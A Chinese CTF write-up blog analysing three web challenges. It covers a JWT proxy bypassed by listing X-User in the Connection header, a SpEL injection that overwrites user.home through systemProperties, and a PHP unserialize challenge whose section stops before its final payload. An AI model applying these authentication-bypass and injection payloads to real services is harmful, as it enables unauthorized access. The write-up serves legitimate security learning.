单单两道题可以让我牢一整天
SecretVault 附件的目录树
一个python的flask应用,不过有一个go的鉴权服务器,先看authorizer鉴权的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package mainimport ( "crypto/rand" "encoding/hex" "fmt" "log" "net/http" "net/http/httputil" "strings" "time" "github.com/golang-jwt/jwt/v5" "github.com/gorilla/mux" ) var ( SecretKey = hex.EncodeToString(RandomBytes(32 )) )
声明一个全局变量,生成随机的32字节密钥SecretKey ,用于JWT签名
1 2 3 4 type AuthClaims struct { jwt.RegisteredClaims UID string `json:"uid"` }
定义JWT中包含的数据结构并添加了一个自定义的字段UID
1 2 3 4 5 6 7 func RandomBytes (length int ) []byte { b := make ([]byte , length) if _, err := rand.Read(b); err != nil { return nil } return b }
使用 crypto/rand 生成加密安全的随机字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func SignToken (uid string ) (string , error ) { t := jwt.NewWithClaims(jwt.SigningMethodHS256, AuthClaims{ UID: uid, RegisteredClaims: jwt.RegisteredClaims{ Issuer: "Authorizer" , Subject: uid, ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)), IssuedAt: jwt.NewNumericDate(time.Now()), NotBefore: jwt.NewNumericDate(time.Now()), }, }) tokenString, err := t.SignedString([]byte (SecretKey)) if err != nil { return "" , err } return tokenString, nil }
创建JWT token,其中包括UID以及RegisteredClaims的字段,并使用HMAC-SHA256算法结合SecretKey密钥进行签名
1 func GetUIDFromRequest (r *http.Request) string {...}
从请求中获取UID的过程
1 2 3 4 5 6 7 8 9 authHeader := r.Header.Get("Authorization" ) if authHeader == "" { cookie, err := r.Cookie("token" ) if err == nil { authHeader = "Bearer " + cookie.Value } else { return "" } }
先是从Authorization中获取,若没有则从Cookie中的token去获取,如果 Cookie 存在,则 err == nil,进入构造Bearer格式
1 2 3 4 5 6 7 if len (authHeader) <= 7 || !strings.HasPrefix(authHeader, "Bearer " ) { return "" } tokenString := strings.TrimSpace(authHeader[7 :]) if tokenString == "" { return "" }
然后检查Bearer格式,说白了就是检查token是否是有效格式,并提取出token的内容设置为tokenString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 token, err := jwt.ParseWithClaims(tokenString, &AuthClaims{}, func (token *jwt.Token) (interface {}, error ) { if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { return nil , fmt.Errorf("unexpected signing method: %v" , token.Header["alg" ]) } return []byte (SecretKey), nil }) if err != nil { log.Printf("failed to parse token: %v" , err) return "" } claims, ok := token.Claims.(*AuthClaims) if !ok || !token.Valid { log.Printf("invalid token claims" ) return "" } return claims.UID
jwt.ParseWithClaims 用于解析tokenString并验证签名,会把payload解码成AuthClaims结构体,但是jwt.ParseWithClaims 需要提供一个函数来返回签名密钥,这里的函数通过检测是否是HMAC加密并返回用于验证的密钥
最后会提取claims中的UID并返回
然后我们看看主函数main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 func main () { authorizer := &httputil.ReverseProxy{Director: func (req *http.Request) { req.URL.Scheme = "http" req.URL.Host = "127.0.0.1:5000" uid := GetUIDFromRequest(req) log.Printf("Request UID: %s, URL: %s" , uid, req.URL.String()) req.Header.Del("Authorization" ) req.Header.Del("X-User" ) req.Header.Del("X-Forwarded-For" ) req.Header.Del("Cookie" ) if uid == "" { req.Header.Set("X-User" , "anonymous" ) } else { req.Header.Set("X-User" , uid) } }}
创建反向代理,转发到Flask应用,检测UID是否存在并设置请求头X-User
1 2 3 4 5 6 7 8 9 10 11 12 13 14 signRouter := mux.NewRouter() signRouter.HandleFunc("/sign" , func (w http.ResponseWriter, r *http.Request) { if !strings.HasPrefix(r.RemoteAddr, "127.0.0.1:" ) { http.Error(w, "Forbidden" , http.StatusForbidden) } uid := r.URL.Query().Get("uid" ) token, err := SignToken(uid) if err != nil { log.Printf("Failed to sign token: %v" , err) http.Error(w, "Failed to generate token" , http.StatusInternalServerError) return } w.Write([]byte (token)) }).Methods("GET" )
这个路由要求只能从本地去访问
1 2 3 4 5 6 7 8 9 10 11 log.Println("Sign service is running at 127.0.0.1:4444" ) go func () { if err := http.ListenAndServe("127.0.0.1:4444" , signRouter); err != nil { log.Fatal(err) } }() log.Println("Authorizer middleware service is running at :5555" ) if err := http.ListenAndServe(":5555" , authorizer); err != nil { log.Fatal(err) }
定义了一个内部签名服务4444端口和外部反向代理服务5555端口
然后我们看一下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 db = SQLAlchemy() class User (db.Model): id = db.Column(db.Integer, primary_key=True ) username = db.Column(db.String(80 ), unique=True , nullable=False ) password_hash = db.Column(db.String(128 ), nullable=False ) salt = db.Column(db.String(64 ), nullable=False ) created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False ) vault_entries = db.relationship('VaultEntry' , backref='user' , lazy=True , cascade='all, delete-orphan' ) class VaultEntry (db.Model): id = db.Column(db.Integer, primary_key=True ) user_id = db.Column(db.Integer, db.ForeignKey('user.id' ), nullable=False ) label = db.Column(db.String(120 ), nullable=False ) login = db.Column(db.String(120 ), nullable=False ) password_encrypted = db.Column(db.Text, nullable=False ) notes = db.Column(db.Text) created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False )
定义了两个两个数据库模型,User 表保存账号信息(含盐与密码哈希);VaultEntry 表保存某用户的若干凭据(登录名、加密 后的密码、备注);二者通过 user_id 建 FK 关联,且在 User 被删除时会级联删除对应的 VaultEntry。
1 2 3 4 5 def hash_password (password: str , salt: bytes ) -> str : data = salt + password.encode('utf-8' ) for _ in range (50 ): data = hashlib.sha256(data).digest() return base64.b64encode(data).decode('utf-8' )
将salt盐值和密码拼接,并进行50轮的SHA256迭代哈希,最后base64编码并返回加密结果
1 2 3 def verify_password (password: str , salt_b64: str , digest: str ) -> bool : salt = base64.b64decode(salt_b64.encode('utf-8' )) return hash_password(password, salt) == digest
验证密码函数
1 2 def generate_salt () -> bytes : return secrets.token_bytes(16 )
盐值生成函数,生成16字节的随机数据
然后我们看flask应用的函数
1 2 3 4 5 6 7 8 9 10 11 def create_app () -> Flask: app = Flask(__name__) app.config['SECRET_KEY' ] = secrets.token_hex(32 ) app.config['SQLALCHEMY_DATABASE_URI' ] = os.getenv('DATABASE_URL' , 'sqlite:///vault.db' ) app.config['SQLALCHEMY_TRACK_MODIFICATIONS' ] = False app.config['SIGN_SERVER' ] = os.getenv('SIGN_SERVER' , 'http://127.0.0.1:4444/sign' ) fernet_key = os.getenv('FERNET_KEY' ) if not fernet_key: raise RuntimeError('Missing FERNET_KEY environment variable. Generate one with `python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())"`.' ) app.config['FERNET_KEY' ] = fernet_key db.init_app(app)
一些配置信息包括SECRET_KEY、数据库连接、FERNET_KEY等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 fernet = Fernet(app.config['FERNET_KEY' ]) with app.app_context(): db.create_all() if not User.query.first(): salt = secrets.token_bytes(16 ) password = secrets.token_bytes(32 ).hex () password_hash = hash_password(password, salt) user = User( id =0 , username='admin' , password_hash=password_hash, salt=base64.b64encode(salt).decode('utf-8' ), ) db.session.add(user) db.session.commit() flag = open ('/flag' ).read().strip() flagEntry = VaultEntry( user_id=user.id , label='flag' , login='flag' , password_encrypted=fernet.encrypt(flag.encode('utf-8' )).decode('utf-8' ), notes='This is the flag entry.' , ) db.session.add(flagEntry) db.session.commit()
这里创建了admin用户以及flag的内容并添加到数据库中,对admin和flag建立映射关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def login_required (view_func ): @wraps(view_func ) def wrapped (*args, **kwargs ): uid = request.headers.get('X-User' , '0' ) print (uid) if uid == 'anonymous' : flash('Please sign in first.' , 'warning' ) return redirect(url_for('login' )) try : uid_int = int (uid) except (TypeError, ValueError): flash('Invalid session. Please sign in again.' , 'warning' ) return redirect(url_for('login' )) user = User.query.filter_by(id =uid_int).first() if not user: flash('User not found. Please sign in again.' , 'warning' ) return redirect(url_for('login' )) g.current_user = user return view_func(*args, **kwargs) return wrapped
一个认证装饰器
1 2 3 4 5 6 7 @app.route('/' ) def index (): uid = request.headers.get('X-User' , '0' ) if not uid or uid == 'anonymous' : return redirect(url_for('login' )) return redirect(url_for('dashboard' ))
根路由,通过获取X-User请求头来进行认证,如果uid是anonymous或不存在则重定向到login登录页面,否则进入控制面板dashboard页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form.get('username' , '' ).strip() password = request.form.get('password' , '' ) confirm_password = request.form.get('confirm_password' , '' ) if not username or not password: flash('Username and password are required.' , 'danger' ) return render_template('register.html' ) if password != confirm_password: flash('Passwords do not match.' , 'danger' ) return render_template('register.html' ) salt = generate_salt() password_hash = hash_password(password, salt) user = User( username=username, password_hash=password_hash, salt=base64.b64encode(salt).decode('utf-8' ), ) db.session.add(user) try : db.session.commit() except IntegrityError: db.session.rollback() flash('Username already exists. Please choose another.' , 'warning' ) return render_template('register.html' ) flash('Registration successful. Please sign in.' , 'success' ) return redirect(url_for('login' )) return render_template('register.html' )
经典的注册函数,没什么好分析的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form.get('username' , '' ).strip() password = request.form.get('password' , '' ) user = User.query.filter_by(username=username).first() if not user or not verify_password(password, user.salt, user.password_hash): flash('Invalid username or password.' , 'danger' ) return render_template('login.html' ) r = requests.get(app.config['SIGN_SERVER' ], params={'uid' : user.id }, timeout=5 ) if r.status_code != 200 : flash('Unable to reach the authentication server. Please try again later.' , 'danger' ) return render_template('login.html' ) token = r.text.strip() response = make_response(redirect(url_for('dashboard' ))) response.set_cookie( 'token' , token, httponly=True , secure=app.config.get('SESSION_COOKIE_SECURE' , False ), samesite='Lax' , max_age=12 * 3600 , ) return response return render_template('login.html' )
登录路由,我们来详细分析一下
检测请求方式是否为POST,并获取用户名和密码,在数据库中查询并返回相应的user用户信息
1 2 3 4 5 6 7 8 9 10 11 12 13 r = requests.get(app.config['SIGN_SERVER' ], params={'uid' : user.id }, timeout=5 ) token = r.text.strip() response = make_response(redirect(url_for('dashboard' ))) response.set_cookie( 'token' , token, httponly=True , secure=app.config.get('SESSION_COOKIE_SECURE' , False ), samesite='Lax' , max_age=12 * 3600 , ) return responsereturn render_template('login.html' )
如果验证成功则发送请求至http://127.0.0.1:4444/sign,参数为用户的uid,从响应中获取JWT token并设置token到cookie,最后返回响应
1 2 3 4 5 6 @app.route('/logout' ) def logout (): response = make_response(redirect(url_for('login' ))) response.delete_cookie('token' ) flash('Signed out.' , 'info' ) return response
登出路由就不用看了,一个重定向加删除token的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @app.route('/dashboard' ) @login_required def dashboard (): user = g.current_user entries = [ { 'id' : entry.id , 'label' : entry.label, 'login' : entry.login, 'password' : fernet.decrypt(entry.password_encrypted.encode('utf-8' )).decode('utf-8' ), 'notes' : entry.notes, 'created_at' : entry.created_at, } for entry in user.vault_entries ] return render_template('dashboard.html' , username=user.username, entries=entries)
设置了需要认证装饰器进行认证的路由dashboard,需要关注的一个点是,这里的password是通过fernet去进行解密的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @app.route('/passwords/new' , methods=['POST' ] ) @login_required def create_password (): user = g.current_user label = request.form.get('label' , '' ).strip() login_value = request.form.get('login' , '' ).strip() password_plain = request.form.get('password' , '' ).strip() notes = request.form.get('notes' , '' ).strip() or None if not label or not login_value or not password_plain: flash('Service name, login, and password are required.' , 'danger' ) return redirect(url_for('dashboard' )) encrypted_password = fernet.encrypt(password_plain.encode('utf-8' )).decode('utf-8' ) entry = VaultEntry( user_id=user.id , label=label, login=login_value, password_encrypted=encrypted_password, notes=notes, ) db.session.add(entry) db.session.commit() flash('Password entry saved.' , 'success' ) return redirect(url_for('dashboard' ))
一个创建密码的路由,这里也是需要认证的
1 2 3 4 5 6 7 8 9 10 @app.route('/passwords/<int:entry_id>' , methods=['DELETE' ] ) @login_required def delete_password (entry_id: int ): user = g.current_user entry = VaultEntry.query.filter_by(id =entry_id, user_id=user.id ).first() if not entry: return jsonify({'success' : False , 'message' : 'Entry not found' }), 404 db.session.delete(entry) db.session.commit() return jsonify({'success' : True })
一个删除密码的路由,这里也是需要认证的
分析完源码后可以明确的问题就是,我们如何获取到admin身份,前面的分析可以得出flag是和admin建立了映射关系的
从源码login_required中可以看出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def login_required (view_func ): @wraps(view_func ) def wrapped (*args, **kwargs ): uid = request.headers.get('X-User' , '0' ) print (uid) if uid == 'anonymous' : flash('Please sign in first.' , 'warning' ) return redirect(url_for('login' )) try : uid_int = int (uid) except (TypeError, ValueError): flash('Invalid session. Please sign in again.' , 'warning' ) return redirect(url_for('login' )) user = User.query.filter_by(id =uid_int).first() if not user: flash('User not found. Please sign in again.' , 'warning' ) return redirect(url_for('login' )) g.current_user = user return view_func(*args, **kwargs) return wrapped
这里仅仅是使用X-User去进行校验,这也意味着我们可以通过构造X-User去伪造admin身份,而admin的id是0,那么我们需要构造的就是
但是在authorizer/main.go中有一个删除请求头并重新设置X-User的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 authorizer := &httputil.ReverseProxy{Director: func (req *http.Request) { req.URL.Scheme = "http" req.URL.Host = "127.0.0.1:5000" uid := GetUIDFromRequest(req) log.Printf("Request UID: %s, URL: %s" , uid, req.URL.String()) req.Header.Del("Authorization" ) req.Header.Del("X-User" ) req.Header.Del("X-Forwarded-For" ) req.Header.Del("Cookie" ) if uid == "" { req.Header.Set("X-User" , "anonymous" ) } else { req.Header.Set("X-User" , uid) } }}
所以这里的X-User是无法手动设置为0的,是否有方法呢?
https://datatracker.ietf.org/doc/html/rfc2616#section-8
从RFC 2616 section-8中可以看到
Connection是一种Hop-by-hop 头部,Hop-by-hop指的是两个相邻 HTTP 节点之间的连接,例如客户端到代理服务器,代理服务器到后端服务器,他不是端到端的连接,而是一种跳级连接
Connection 头部不仅自身是 hop-by-hop 的,还可以用来声明其他自定义的 hop-by-hop 头部
例如我们设置
1 2 Connection : close, X-Custom-HeaderX-Custom-Header : some-value
当我们发送请求的时候,Connection相当于告诉中间代理服务器,X-Custom-Header也是一个hop-by-hop 头部,需要移除他而不能准发他
代理服务器的处理规则
代理服务器在转发请求/响应时必须:
移除所有 hop-by-hop 头部
移除 Connection 头部中列出的所有头部
保留并转发所有 end-to-end 头部
可以添加新的 hop-by-hop 头部 (用于下一跳连接)
因为在反向代理中有一个自动设置X-User的过程,那我们就可以通过将X-User设置为hop-by-hop 头部,从而在请求到达服务器之前把X-User删除,那么在login_required获取该请求头的时候如果获取不到默认就为0
bbjv java的题,先反编译然后处理一下
看依赖
不太熟悉的依赖,然后转向看控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package com.ctf.gateway.controller;import com.ctf.gateway.service.EvaluationService;import java.io.BufferedReader;import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController public class GatewayController { private final EvaluationService evaluationService; public GatewayController (EvaluationService evaluationService) { this .evaluationService = evaluationService; } @GetMapping({"/check"}) public String checkRule (@RequestParam String rule) throws FileNotFoundException { String result = this .evaluationService.evaluate(rule); File flagFile = new File (System.getProperty("user.home" ), "flag.txt" ); if (flagFile.exists()) { try { BufferedReader br = new BufferedReader (new FileReader (flagFile)); try { String content = br.readLine(); result = result + "<br><b>�� Flag:</b> " + content; br.close(); } finally { } } catch (IOException e) { throw new RuntimeException (e); } } return result; } }
接受一个参数rule,会调用到this.evaluationService.evaluate(rule),跟进看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.ctf.gateway.service;import org.springframework.expression.EvaluationContext;import org.springframework.expression.ExpressionParser;import org.springframework.expression.common.TemplateParserContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.stereotype.Service;@Service public class EvaluationService { private final ExpressionParser parser = new SpelExpressionParser (); private final EvaluationContext context; public EvaluationService (EvaluationContext context) { this .context = context; } public String evaluate (String expression) { try { Object result = this .parser.parseExpression(expression, new TemplateParserContext ()).getValue(this .context); return "Result: " + String.valueOf(result); } catch (Exception e) { return "Error: " + e.getMessage(); } } }
一个spel表达式的计算代码,rule就是我们需要传入的spel表达式,但是好像我直接打spel注入不得行?
关注到一个点
1 Object result = this .parser.parseExpression(expression, new TemplateParserContext ()).getValue(this .context);
这里的话是用到TemplateParserContext模板去解析,我们分析一下这个
可以看到他解析的spel表达式是#{}格式的表达式
例如我们传入#{1+2}
接着看一下accessor中的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.ctf.gateway.accessor;import org.springframework.expression.AccessException;import org.springframework.expression.EvaluationContext;import org.springframework.expression.spel.support.ReflectivePropertyAccessor;public class SecurePropertyAccessor extends ReflectivePropertyAccessor { @Override public boolean canRead (EvaluationContext context, Object target, String name) throws AccessException { return false ; } }
ReflectivePropertyAccessor 是 SpEL 用来通过 Java 反射访问 Java 对象属性(fields/getters)的默认实现之一。这里重写了里面的canRead方法,意思就是只要spel语句中用到反射访问java对象属性的话就会return false,相当于是一个waf吧
另外还有一个config文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.ctf.gateway.config;import com.ctf.gateway.accessor.SecurePropertyAccessor;import java.util.Properties;import org.springframework.beans.factory.annotation.Qualifier;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.expression.EvaluationContext;import org.springframework.expression.spel.support.SimpleEvaluationContext;@Configuration public class SpelConfig { @Bean({"systemProperties"}) public Properties systemProperties () { return System.getProperties(); } @Bean({"restrictedEvalContext"}) public EvaluationContext restrictedEvaluationContext (@Qualifier("systemProperties") Properties systemProperties) { SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new SecurePropertyAccessor ()).build(); simpleContext.setVariable("systemProperties" , systemProperties); return simpleContext; } }
这里定义了两个java Bean,并且在restrictedEvalContext中设置了一个变量为systemProperties,那我们看看能不能调用System.getProperties()
按照源码的逻辑,会找到user.home下的flag.txt,如果存在就会输出flag,但是这里的话是root目录,所以问题就是在于flag.txt不是在root目录下,会在什么目录呢?
想了半天没想明白,后面想起还有一个docker文件
1 2 3 4 5 6 7 8 9 10 FROM openjdk:21 -jdk-slimWORKDIR /app COPY app.jar /app/app.jar COPY flag.txt /tmp/flag.txt EXPOSE 8080 CMD ["java" , "-jar" , "app.jar" ]
原来flag在tmp下,我真是个傻子!!!
这时候就看看能不能执行代码修改属性的值了,但是我尝试调用System.setProperty的时候出现报错了,
1 Error: EL1004E: Method call: Method setProperty (java.lang.String,java.lang.String) cannot be found on type java.util.Properties
显示是没有这个方法,后面才知道是因为SimpleEvaluationContext,他默认禁用实例方法调用,除非在构造函数中定义了方法调用,例如
1 2 3 public Properties systemProperties () { return System.getProperties(); }
那该怎么办呢?
没想到,直接赋值也是可以的
1 #{#systemProperties['user.home' ] = '/tmp' }
ezphp(赛后复现) 打开题目是一串编码
1 <?= eval (base64_decode ('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7' ));
直接把eval去掉输出一下然后给ai整理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php function generateRandomString ($length = 8 ) { $characters = 'abcdefghijklmnopqrstuvwxyz' ; $randomString = '' ; for ($i = 0 ; $i < $length ; $i ++) { $r = rand (0 , strlen ($characters ) - 1 ); $randomString .= $characters [$r ]; } return $randomString ; } date_default_timezone_set ('Asia/Shanghai' );class test { public $readflag ; public $f ; public $key ; public function __construct ( ) { $this ->readflag = new class { public function __construct ( ) { if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] == 0 ) { $time = date ('Hi' ); $filename = $GLOBALS ['filename' ]; $seed = $time . intval ($filename ); mt_srand ($seed ); $uploadDir = 'uploads/' ; $files = glob ($uploadDir . '*' ); foreach ($files as $file ) { if (is_file ($file )) { unlink ($file ); } } $randomStr = generateRandomString (8 ); $newFilename = $time . '.' . $randomStr . '.' . 'jpg' ; $GLOBALS ['file' ] = $newFilename ; $uploadedFile = $_FILES ['file' ]['tmp_name' ]; $uploadPath = $uploadDir . $newFilename ; if (system ("cp " . $uploadedFile . " " . $uploadPath )) { echo "success upload!" ; } else { echo "error" ; } } } public function __wakeup ( ) { phpinfo (); } public function readflag ( ) { function readflag ( ) { if (isset ($GLOBALS ['file' ])) { $file = $GLOBALS ['file' ]; $file = basename ($file ); if (preg_match ('/:\/\//' , $file )) { die ("error" ); } $file_content = file_get_contents ("uploads/" . $file ); if (preg_match ('/<\?|\:\/\/|ph|\?\=/i' , $file_content )) { die ("Illegal content detected in the file." ); } include ("uploads/" . $file ); } } } }; } public function __destruct ( ) { $func = $this ->f; $GLOBALS ['filename' ] = $this ->readflag; if ($this ->key == 'class' ) { new $func (); } else if ($this ->key == 'func' ) { $func (); } else { highlight_file ('index.php' ); } } } $ser = isset ($_GET ['land' ]) ? $_GET ['land' ] : 'O:4:"test":N' ;@unserialize ($ser ); ?>
分析一下源代码
generateRandomString函数能生成随机8字节字母并返回
destruct魔术方法就不说了,能根据key的内容进行任意类实例化和任意方法调用
主要看construct中的内容
1 2 public function __construct ( ) { $this ->readflag = new class {
将readflag赋值为一个匿名类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function __construct ( ) { if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] == 0 ) { $time = date ('Hi' ); $filename = $GLOBALS ['filename' ]; $seed = $time . intval ($filename ); mt_srand ($seed ); $uploadDir = 'uploads/' ; $files = glob ($uploadDir . '*' ); foreach ($files as $file ) { if (is_file ($file )) unlink ($file ); } $randomStr = generateRandomString (8 ); $newFilename = $time . '.' . $randomStr . '.' . 'jpg' ; $GLOBALS ['file' ] = $newFilename ; $uploadedFile = $_FILES ['file' ]['tmp_name' ]; $uploadPath = $uploadDir . $newFilename ; if (system ("cp " . $uploadedFile . " " . $uploadPath )) { echo "success upload!" ; } else { echo "error" ; } } }
官方手册看一下file全局变量的内容
先是检测是否有文件上传,并且上传没有出错,设置time为当前时间并从全局变量中提取文件名进行拼接后作为随机数种子$seed
删除uploads目录下的所有文件
利用generateRandomString函数随机生成一个8位纯字母字符串并结合时间戳生成新的jpg文件名,最后将文件的内容复制到新的文件中
可以看到这里的system是直接拼接的,那么可能是一个可利用的点?接着往下看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function readflag ( ) { function readflag ( ) { if (isset ($GLOBALS ['file' ])) { $file = $GLOBALS ['file' ]; $file = basename ($file ); if (preg_match ('/:\/\//' , $file )) die ("error" ); $file_content = file_get_contents ("uploads/" . $file ); if (preg_match ('/<\?|\:\/\/|ph|\?\=/i' , $file_content )) { die ("Illegal content detected in the file." ); } include ("uploads/" . $file ); } } }
两层readflag函数,里面会获取上传的文件名并提取文件名,对文件名过滤了://,随后读取uploads下的同名文件的内容,并对内容进行了过滤<?、://、ph、?=,最后进行include文件包含
先正常走一下phpinfo看看
1 2 3 4 5 6 7 8 9 10 11 12 <?php class test { public $readflag ; public $f ; public $key ; } $a = new test ();$a -> key = "func" ;$a -> f = "phpinfo" ;echo urlencode (serialize ($a ));
禁用了挺多函数的
然后我们现在的问题是如何调用到匿名类的readflag,因为序列化操作不能序列化匿名类,所以这也是我一直很疑惑的地方,测了几个小时都没测过去,也是赛后才复现的
get_class函数可以返回指定 object 的类名。
我们先来看一下匿名类的命名规则
1 2 <?php echo get_class (new class {});
输出结果
1 class @anonymous /var /www /html /1.php :2$10
匿名类的命名规则:
但是题目中是在eval函数里实现的
1 2 3 <?php eval ('$b = new class{};' );echo get_class ($b );
输出结果:
1 class @anonymous /var /www /html /1.php (2) : eval ()'d code :1$c5
这里的行号就是eval()'d code+数字
因为eval函数是在第二行,所以括号里的行号是2,但是在eval中他是在一行,所以$前面的行号是1
然后我们推测一下题目中的匿名类的内容
1 %00 readflag/var /www/html/index.php (1 ) : eval ()\'d code:1$序号
另外还有一个函数调用的姿势
1 2 3 4 5 6 7 8 9 <?php class a { function test ( ) { echo "yes" ; } } $a = new a ();$func = array ('a' ,'test' );$func ();
在 PHP 中,形如 ['类名', '方法名'] 或 [$object, '方法名'] 的数组都被视为 callable (可调用值)。当把这样的数组放进变量并使用函数调用语法 ($var)() 时,PHP 会把该变量当作回调来执行,等价于 call_user_func($var)。
因此我们能得出调用readflag的方法
